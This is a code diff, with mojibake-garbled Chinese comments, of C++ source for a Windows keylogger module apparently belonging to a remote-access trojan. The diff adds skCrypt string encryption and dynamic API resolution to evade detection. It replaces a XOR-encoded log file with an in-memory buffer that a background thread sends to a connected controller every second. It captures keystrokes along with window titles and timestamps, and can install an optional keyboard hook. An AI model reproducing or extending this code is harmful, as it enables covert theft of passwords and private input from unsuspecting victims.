//<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
|
//<2F>жϼ<D0B6><CFBC>̵ĵ<CCB5>һ<EFBFBD><D2BB>
|
||||||
if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
|
if (Key == VK_ESCAPE) // <20>˳<EFBFBD>
|
||||||
KeyString = "[Esc]";
|
KeyString = skCrypt("[Esc]");
|
||||||
else if (Key == VK_F1) // F1<46><31>F12
|
else if (Key == VK_F1) // F1<46><31>F12
|
||||||
KeyString = "[F1]";
|
KeyString = skCrypt("[F1]");
|
||||||
else if (Key == VK_F2)
|
else if (Key == VK_F2)
|
||||||
KeyString = "[F2]";
|
KeyString = skCrypt("[F2]");
|
||||||
else if (Key == VK_F3)
|
else if (Key == VK_F3)
|
||||||
KeyString = "[F3]";
|
KeyString = skCrypt("[F3]");
|
||||||
else if (Key == VK_F4)
|
else if (Key == VK_F4)
|
||||||
KeyString = "[F4]";
|
KeyString = skCrypt("[F4]");
|
||||||
else if (Key == VK_F5)
|
else if (Key == VK_F5)
|
||||||
KeyString = "[F5]";
|
KeyString = skCrypt("[F5]");
|
||||||
else if (Key == VK_F6)
|
else if (Key == VK_F6)
|
||||||
KeyString = "[F6]";
|
KeyString = skCrypt("[F6]");
|
||||||
else if (Key == VK_F7)
|
else if (Key == VK_F7)
|
||||||
KeyString = "[F7]";
|
KeyString = skCrypt("[F7]");
|
||||||
else if (Key == VK_F8)
|
else if (Key == VK_F8)
|
||||||
KeyString = "[F8]";
|
KeyString = skCrypt("[F8]");
|
||||||
else if (Key == VK_F9)
|
else if (Key == VK_F9)
|
||||||
KeyString = "[F9]";
|
KeyString = skCrypt("[F9]");
|
||||||
else if (Key == VK_F10)
|
else if (Key == VK_F10)
|
||||||
KeyString = "[F10]";
|
KeyString = skCrypt("[F10]");
|
||||||
else if (Key == VK_F11)
|
else if (Key == VK_F11)
|
||||||
KeyString = "[F11]";
|
KeyString = skCrypt("[F11]");
|
||||||
else if (Key == VK_F12)
|
else if (Key == VK_F12)
|
||||||
KeyString = "[F12]";
|
KeyString = skCrypt("[F12]");
|
||||||
else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
|
else if (Key == VK_SNAPSHOT) // <20><>ӡ<EFBFBD><D3A1>Ļ
|
||||||
KeyString = "[PrScrn]";
|
KeyString = skCrypt("[PrScrn]");
|
||||||
else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
else if (Key == VK_SCROLL) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
KeyString = "[Scroll Lock]";
|
KeyString = skCrypt("[Scroll Lock]");
|
||||||
else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
|
else if (Key == VK_PAUSE) // <20><>ͣ<EFBFBD><CDA3><EFBFBD>ж<EFBFBD>
|
||||||
KeyString = "[Pause]";
|
KeyString = skCrypt("[Pause]");
|
||||||
else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
else if (Key == VK_CAPITAL) // <20><>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
||||||
KeyString = "[Caps Lock]";
|
KeyString = skCrypt("[Caps Lock]");
|
||||||
|
|
||||||
//-------------------------------------//
|
//-------------------------------------//
|
||||||
//<2F><><EFBFBD>Ƽ<EFBFBD>
|
//<2F><><EFBFBD>Ƽ<EFBFBD>
|
||||||
else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
|
else if (Key == 8) //<- <20>ظ<EFBFBD><D8B8><EFBFBD>
|
||||||
KeyString = "[Backspace]";
|
KeyString = skCrypt("[Backspace]");
|
||||||
else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
else if (Key == VK_RETURN) // <20>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
KeyString = "[Enter]\n";
|
KeyString = skCrypt("[Enter]\n");
|
||||||
else if (Key == VK_SPACE) // <20>ո<EFBFBD>
|
else if (Key == VK_SPACE) // <20>ո<EFBFBD>
|
||||||
KeyString = " ";
|
KeyString = skCrypt(" ");
|
||||||
//<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD><EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
|
//<2F>ϵ<EFBFBD><CFB5><EFBFBD>:<3A><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʱ<EFBFBD><EFBFBD><F2A3ACBF>Բ<EFBFBD><D4B2><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Shift<66>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>κ<EFBFBD><CEBA>ַ<EFBFBD><D6B7><EFBFBD>
|
||||||
//<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
//<2F>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ϣ<EFBFBD><CFA3><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
/*
|
/*
|
||||||
else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
|
else if (Key == VK_LSHIFT) // <20><><EFBFBD><EFBFBD><EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD>
|
||||||
KeyString = "[Shift]";
|
KeyString = skCrypt("[Shift]");
|
||||||
else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
|
else if (Key == VK_LSHIFT) // <20>Ҳ<EFBFBD><D2B2>ϵ<EFBFBD><CFB5><EFBFBD>
|
||||||
KeyString = "[SHIFT]";
|
KeyString = skCrypt("[SHIFT]");
|
||||||
*/
|
*/
|
||||||
/*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
|
/*<2A><><EFBFBD><EFBFBD>ֻ<EFBFBD>ǶԼ<C7B6><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD>м<EFBFBD>¼:<3A><><EFBFBD>Բ<EFBFBD><D4B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>*/
|
||||||
else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
|
else if (Key == VK_TAB) // <20>Ʊ<EFBFBD><C6B1><EFBFBD>
|
||||||
KeyString = "[Tab]";
|
KeyString = skCrypt("[Tab]");
|
||||||
else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
|
else if (Key == VK_LCONTROL) // <20><><EFBFBD><EFBFBD><EFBFBD>Ƽ<EFBFBD>
|
||||||
KeyString = "[Ctrl]";
|
KeyString = skCrypt("[Ctrl]");
|
||||||
else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
|
else if (Key == VK_RCONTROL) // <20>ҿ<EFBFBD><D2BF>Ƽ<EFBFBD>
|
||||||
KeyString = "[CTRL]";
|
KeyString = skCrypt("[CTRL]");
|
||||||
else if (Key == VK_LMENU) // <20><EFBFBD><F3BBBBB5><EFBFBD>
|
else if (Key == VK_LMENU) // <20><EFBFBD><F3BBBBB5><EFBFBD>
|
||||||
KeyString = "[Alt]";
|
KeyString = skCrypt("[Alt]");
|
||||||
else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
|
else if (Key == VK_LMENU) // <20>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
KeyString = "[ALT]";
|
KeyString = skCrypt("[ALT]");
|
||||||
else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
|
else if (Key == VK_LWIN) // <20><> WINDOWS <20><>
|
||||||
KeyString = "[Win]";
|
KeyString = skCrypt("[Win]");
|
||||||
else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
|
else if (Key == VK_RWIN) // <20><> WINDOWS <20><>
|
||||||
KeyString = "[WIN]";
|
KeyString = skCrypt("[WIN]");
|
||||||
else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
|
else if (Key == VK_APPS) // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>Ҽ<EFBFBD>
|
||||||
KeyString = "<EFBFBD>Ҽ<EFBFBD>";
|
KeyString = skCrypt("<EFBFBD>Ҽ<EFBFBD>");
|
||||||
else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
|
else if (Key == VK_INSERT) // <20><><EFBFBD><EFBFBD>
|
||||||
KeyString = "[Insert]";
|
KeyString = skCrypt("[Insert]");
|
||||||
else if (Key == VK_DELETE) // ɾ<><C9BE>
|
else if (Key == VK_DELETE) // ɾ<><C9BE>
|
||||||
KeyString = "[Delete]";
|
KeyString = skCrypt("[Delete]");
|
||||||
else if (Key == VK_HOME) // <20><>ʼ
|
else if (Key == VK_HOME) // <20><>ʼ
|
||||||
KeyString = "[Home]";
|
KeyString = skCrypt("[Home]");
|
||||||
else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
|
else if (Key == VK_END) // <20><><EFBFBD><EFBFBD>
|
||||||
KeyString = "[End]";
|
KeyString = skCrypt("[End]");
|
||||||
else if (Key == VK_PRIOR) // <20><>һҳ
|
else if (Key == VK_PRIOR) // <20><>һҳ
|
||||||
KeyString = "[PgUp]";
|
KeyString = skCrypt("[PgUp]");
|
||||||
else if (Key == VK_NEXT) // <20><>һҳ
|
else if (Key == VK_NEXT) // <20><>һҳ
|
||||||
KeyString = "[PgDown]";
|
KeyString = skCrypt("[PgDown]");
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>õļ<C3B5><C4BC><EFBFBD><EFBFBD><EFBFBD>:һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB>
|
||||||
else if (Key == VK_CANCEL) // Cancel
|
else if (Key == VK_CANCEL) // Cancel
|
||||||
KeyString = "[Cancel]";
|
KeyString = skCrypt("[Cancel]");
|
||||||
else if (Key == VK_CLEAR) // Clear
|
else if (Key == VK_CLEAR) // Clear
|
||||||
KeyString = "[Clear]";
|
KeyString = skCrypt("[Clear]");
|
||||||
else if (Key == VK_SELECT) //Select
|
else if (Key == VK_SELECT) //Select
|
||||||
KeyString = "[Select]";
|
KeyString = skCrypt("[Select]");
|
||||||
else if (Key == VK_PRINT) //Print
|
else if (Key == VK_PRINT) //Print
|
||||||
KeyString = "[Print]";
|
KeyString = skCrypt("[Print]");
|
||||||
else if (Key == VK_EXECUTE) //Execute
|
else if (Key == VK_EXECUTE) //Execute
|
||||||
KeyString = "[Execute]";
|
KeyString = skCrypt("[Execute]");
|
||||||
|
|
||||||
//----------------------------------------//
|
//----------------------------------------//
|
||||||
else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
|
else if (Key == VK_LEFT) //<2F>ϡ<EFBFBD><CFA1>¡<EFBFBD><C2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD>
|
||||||
KeyString = "[<5B><>]";
|
KeyString = skCrypt("[<5B><>]");
|
||||||
else if (Key == VK_RIGHT)
|
else if (Key == VK_RIGHT)
|
||||||
KeyString = "[<5B><>]";
|
KeyString = skCrypt("[<5B><>]");
|
||||||
else if (Key == VK_UP)
|
else if (Key == VK_UP)
|
||||||
KeyString = "[<5B><>]";
|
KeyString = skCrypt("[<5B><>]");
|
||||||
else if (Key == VK_DOWN)
|
else if (Key == VK_DOWN)
|
||||||
KeyString = "[<5B><>]";
|
KeyString = skCrypt("[<5B><>]");
|
||||||
else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
else if (Key == VK_NUMLOCK)//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
KeyString = "[NumLock]";
|
KeyString = skCrypt("[NumLock]");
|
||||||
else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
|
else if (Key == VK_ADD) // <20>ӡ<EFBFBD><D3A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD><CBA1><EFBFBD>
|
||||||
KeyString = "+";
|
KeyString = skCrypt("+");
|
||||||
else if (Key == VK_SUBTRACT)
|
else if (Key == VK_SUBTRACT)
|
||||||
KeyString = "-";
|
KeyString = skCrypt("-");
|
||||||
else if (Key == VK_MULTIPLY)
|
else if (Key == VK_MULTIPLY)
|
||||||
KeyString = "*";
|
KeyString = skCrypt("*");
|
||||||
else if (Key == VK_DIVIDE)
|
else if (Key == VK_DIVIDE)
|
||||||
KeyString = "/";
|
KeyString = skCrypt("/");
|
||||||
else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
|
else if (Key == 190 || Key == 110) // С<><D0A1><EFBFBD><EFBFBD> . <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> .
|
||||||
KeyString = ".";
|
KeyString = skCrypt(".");
|
||||||
//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
|
//С<><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ּ<EFBFBD>:0-9
|
||||||
else if (Key == VK_NUMPAD0)
|
else if (Key == VK_NUMPAD0)
|
||||||
KeyString = "0";
|
KeyString = skCrypt("0");
|
||||||
else if (Key == VK_NUMPAD1)
|
else if (Key == VK_NUMPAD1)
|
||||||
KeyString = "1";
|
KeyString = skCrypt("1");
|
||||||
else if (Key == VK_NUMPAD2)
|
else if (Key == VK_NUMPAD2)
|
||||||
KeyString = "2";
|
KeyString = skCrypt("2");
|
||||||
else if (Key == VK_NUMPAD3)
|
else if (Key == VK_NUMPAD3)
|
||||||
KeyString = "3";
|
KeyString = skCrypt("3");
|
||||||
else if (Key == VK_NUMPAD4)
|
else if (Key == VK_NUMPAD4)
|
||||||
KeyString = "4";
|
KeyString = skCrypt("4");
|
||||||
else if (Key == VK_NUMPAD5)
|
else if (Key == VK_NUMPAD5)
|
||||||
KeyString = "5";
|
KeyString = skCrypt("5");
|
||||||
else if (Key == VK_NUMPAD6)
|
else if (Key == VK_NUMPAD6)
|
||||||
KeyString = "6";
|
KeyString = skCrypt("6");
|
||||||
else if (Key == VK_NUMPAD7)
|
else if (Key == VK_NUMPAD7)
|
||||||
KeyString = "7";
|
KeyString = skCrypt("7");
|
||||||
else if (Key == VK_NUMPAD8)
|
else if (Key == VK_NUMPAD8)
|
||||||
KeyString = "8";
|
KeyString = skCrypt("8");
|
||||||
else if (Key == VK_NUMPAD9)
|
else if (Key == VK_NUMPAD9)
|
||||||
KeyString = "9";
|
KeyString = skCrypt("9");
|
||||||
//-------------------------------------------//
|
//-------------------------------------------//
|
||||||
|
|
||||||
//-------------------------------------------//
|
//-------------------------------------------//
|
||||||
@@ -345,34 +332,34 @@ std::string GetKey(int Key) //
|
|||||||
if(IS) {
|
if(IS) {
|
||||||
switch(Key) {
|
switch(Key) {
|
||||||
case 48: //0
|
case 48: //0
|
||||||
KeyString = ")";
|
KeyString = skCrypt(")");
|
||||||
break;
|
break;
|
||||||
case 49://1
|
case 49://1
|
||||||
KeyString = "!";
|
KeyString = skCrypt("!");
|
||||||
break;
|
break;
|
||||||
case 50://2
|
case 50://2
|
||||||
KeyString = "@";
|
KeyString = skCrypt("@");
|
||||||
break;
|
break;
|
||||||
case 51://3
|
case 51://3
|
||||||
KeyString = "#";
|
KeyString = skCrypt("#");
|
||||||
break;
|
break;
|
||||||
case 52://4
|
case 52://4
|
||||||
KeyString = "$";
|
KeyString = skCrypt("$");
|
||||||
break;
|
break;
|
||||||
case 53://5
|
case 53://5
|
||||||
KeyString = "%";
|
KeyString = skCrypt("%");
|
||||||
break;
|
break;
|
||||||
case 54://6
|
case 54://6
|
||||||
KeyString = "^";
|
KeyString = skCrypt("^");
|
||||||
break;
|
break;
|
||||||
case 55://7
|
case 55://7
|
||||||
KeyString = "&";
|
KeyString = skCrypt("&");
|
||||||
break;
|
break;
|
||||||
case 56://8
|
case 56://8
|
||||||
KeyString = "*";
|
KeyString = skCrypt("*");
|
||||||
break;
|
break;
|
||||||
case 57://9
|
case 57://9
|
||||||
KeyString = "(";
|
KeyString = skCrypt("(");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
} else
|
} else
|
||||||
@@ -399,45 +386,24 @@ std::string GetKey(int Key) //
|
|||||||
return KeyString;
|
return KeyString;
|
||||||
}
|
}
|
||||||
|
|
||||||
void SaveToFile(TCHAR *strRecordFile, TCHAR *lpBuffer)
|
|
||||||
{
|
|
||||||
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
|
|
||||||
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
||||||
|
|
||||||
DWORD dwBytesWrite = 0;
|
|
||||||
DWORD dwSize = GetFileSize(hFile, NULL);
|
|
||||||
if (dwSize < 1024 * 1024 * 50)
|
|
||||||
SetFilePointer(hFile, 0, 0, FILE_END);
|
|
||||||
|
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD>
|
|
||||||
int nLength = lstrlen(lpBuffer);
|
|
||||||
TCHAR* lpEncodeBuffer = new TCHAR[nLength];
|
|
||||||
for (int i = 0; i < nLength; i++)
|
|
||||||
lpEncodeBuffer[i] = lpBuffer[i] ^ _T('`');
|
|
||||||
WriteFile(hFile, lpEncodeBuffer, lstrlen(lpBuffer)*sizeof(TCHAR), &dwBytesWrite, NULL);
|
|
||||||
CloseHandle(hFile);
|
|
||||||
|
|
||||||
delete [] lpEncodeBuffer;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
|
BOOL CKeyboardManager1::IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool hasData)
|
||||||
{
|
{
|
||||||
HWND hFocus = GetForegroundWindow();
|
GET_PROCESS(DLLS[USER32], GetForegroundWindow);
|
||||||
|
HWND hFocus = (HWND)GetForegroundWindow();
|
||||||
BOOL ReturnFlag = FALSE;
|
BOOL ReturnFlag = FALSE;
|
||||||
if (hFocus != PreviousFocus) {
|
if (hFocus != PreviousFocus) {
|
||||||
if (lstrlen(WindowCaption) > 0) {
|
if (lstrlen(WindowCaption) > 0) {
|
||||||
if (hasData) {
|
if (hasData) {
|
||||||
SYSTEMTIME s;
|
SYSTEMTIME s;
|
||||||
GetLocalTime(&s);
|
GetLocalTime(&s);
|
||||||
wsprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
sprintf(szText, _T("\r\n[<5B><><EFBFBD><EFBFBD>:] %s\r\n[ʱ<><CAB1>:]%d-%02d-%02d %02d:%02d:%02d\r\n"),
|
||||||
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
|
WindowCaption,s.wYear,s.wMonth,s.wDay,s.wHour,s.wMinute,s.wSecond);
|
||||||
}
|
}
|
||||||
memset(WindowCaption, 0, CAPTION_SIZE);
|
memset(WindowCaption, 0, CAPTION_SIZE);
|
||||||
ReturnFlag=TRUE;
|
ReturnFlag=TRUE;
|
||||||
}
|
}
|
||||||
PreviousFocus = hFocus;
|
PreviousFocus = hFocus;
|
||||||
|
GET_PROCESS_EASY(SendMessageA);
|
||||||
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
|
SendMessage(hFocus, WM_GETTEXT, CAPTION_SIZE, (LPARAM)WindowCaption);
|
||||||
}
|
}
|
||||||
return ReturnFlag;
|
return ReturnFlag;
|
||||||
@@ -447,35 +413,56 @@ DWORD WINAPI CKeyboardManager1::SendData(LPVOID lparam)
|
|||||||
{
|
{
|
||||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||||
|
|
||||||
|
int pos = 0;
|
||||||
while(pThis->m_bIsWorking) {
|
while(pThis->m_bIsWorking) {
|
||||||
DWORD dwSize =0;
|
if (!pThis->IsConnected()) {
|
||||||
HANDLE hFile = CreateFile(pThis->m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
pos = 0;
|
||||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
Sleep(1000);
|
||||||
|
continue;
|
||||||
if (hFile != INVALID_HANDLE_VALUE) {
|
|
||||||
dwSize = GetFileSize(hFile, NULL);
|
|
||||||
}
|
}
|
||||||
CloseHandle(hFile);
|
int size = 0;
|
||||||
|
char* lpBuffer = pThis->m_Buffer->Read(pos, size);
|
||||||
if (pThis->dKeyBoardSize != dwSize) {
|
if (size) {
|
||||||
pThis->sendOfflineRecord(pThis->dKeyBoardSize);
|
int nRet = pThis->sendKeyBoardData((LPBYTE)lpBuffer, size);
|
||||||
|
delete[] lpBuffer;
|
||||||
}
|
}
|
||||||
|
Sleep(1000);
|
||||||
Sleep(3000);
|
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int CALLBACK WriteBuffer(const char* record, void* user) {
|
||||||
|
CircularBuffer* m_Buffer = (CircularBuffer*)user;
|
||||||
|
m_Buffer->Write(record, strlen(record));
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
||||||
{
|
{
|
||||||
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
CKeyboardManager1 *pThis = (CKeyboardManager1 *)lparam;
|
||||||
|
MSG msg;
|
||||||
TCHAR KeyBuffer[2048] = {};
|
TCHAR KeyBuffer[2048] = {};
|
||||||
TCHAR szText[CAPTION_SIZE] = {};
|
TCHAR szText[CAPTION_SIZE] = {};
|
||||||
TCHAR WindowCaption[CAPTION_SIZE] = {};
|
TCHAR WindowCaption[CAPTION_SIZE] = {};
|
||||||
HWND PreviousFocus = NULL;
|
HWND PreviousFocus = NULL;
|
||||||
|
GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
|
||||||
while(pThis->m_bIsWorking) {
|
while(pThis->m_bIsWorking) {
|
||||||
|
if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
|
||||||
|
#if USING_KB_HOOK
|
||||||
|
ReleaseHook();
|
||||||
|
#endif
|
||||||
|
Sleep(1000);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
Sleep(5);
|
Sleep(5);
|
||||||
|
#if USING_KB_HOOK
|
||||||
|
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||||
|
#else
|
||||||
int num = lstrlen(KeyBuffer);
|
int num = lstrlen(KeyBuffer);
|
||||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||||
bool newWindowInput = strlen(szText);
|
bool newWindowInput = strlen(szText);
|
||||||
@@ -489,7 +476,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
|
const int offset = sizeof(_T("\r\n[<5B><><EFBFBD><EFBFBD>:]")) - 1;
|
||||||
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
|
memmove(KeyBuffer+offset, KeyBuffer, strlen(KeyBuffer));
|
||||||
memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
|
memcpy(KeyBuffer, _T("\r\n[<5B><><EFBFBD><EFBFBD>:]"), offset);
|
||||||
SaveToFile(pThis->m_strRecordFile, KeyBuffer);
|
pThis->m_Buffer->Write(KeyBuffer, strlen(KeyBuffer));
|
||||||
memset(KeyBuffer,0,sizeof(KeyBuffer));
|
memset(KeyBuffer,0,sizeof(KeyBuffer));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -499,6 +486,9 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
lstrcat(KeyBuffer,TempString.c_str());
|
lstrcat(KeyBuffer,TempString.c_str());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -2,34 +2,239 @@
|
|||||||
//
|
//
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
#if !defined(AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_)
|
|
||||||
#define AFX_KEYBOARDMANAGER1_H__EB2A4D2C_E756_41E3_A22C_6F7EA5C598EE__INCLUDED_
|
|
||||||
|
|
||||||
#if _MSC_VER > 1000
|
|
||||||
#pragma once
|
#pragma once
|
||||||
#endif // _MSC_VER > 1000
|
|
||||||
|
|
||||||
#include "..\Manager.h"
|
#include "Manager.h"
|
||||||
|
#include "stdafx.h"
|
||||||
|
|
||||||
|
#define KEYLOG_FILE "keylog.xml"
|
||||||
|
|
||||||
|
#if ENABLE_KEYBOARD==0
|
||||||
|
#define CKeyboardManager1 CManager
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
|
#define BUFFER_SIZE 10*1024*1024
|
||||||
|
|
||||||
|
// ѭ<><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
class CircularBuffer {
|
||||||
|
private:
|
||||||
|
char* m_buffer; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int m_size; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
|
||||||
|
int m_write; // дָ<D0B4><D6B8>
|
||||||
|
int m_read; // <20><>ָ<EFBFBD><D6B8>
|
||||||
|
CRITICAL_SECTION m_cs; // <20>߳<EFBFBD>ͬ<EFBFBD><CDAC>
|
||||||
|
char m_key; // <20><><EFBFBD><EFBFBD> XOR <20>ӽ<EFBFBD><D3BD>ܵ<EFBFBD><DCB5><EFBFBD>Կ
|
||||||
|
|
||||||
|
public:
|
||||||
|
// <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
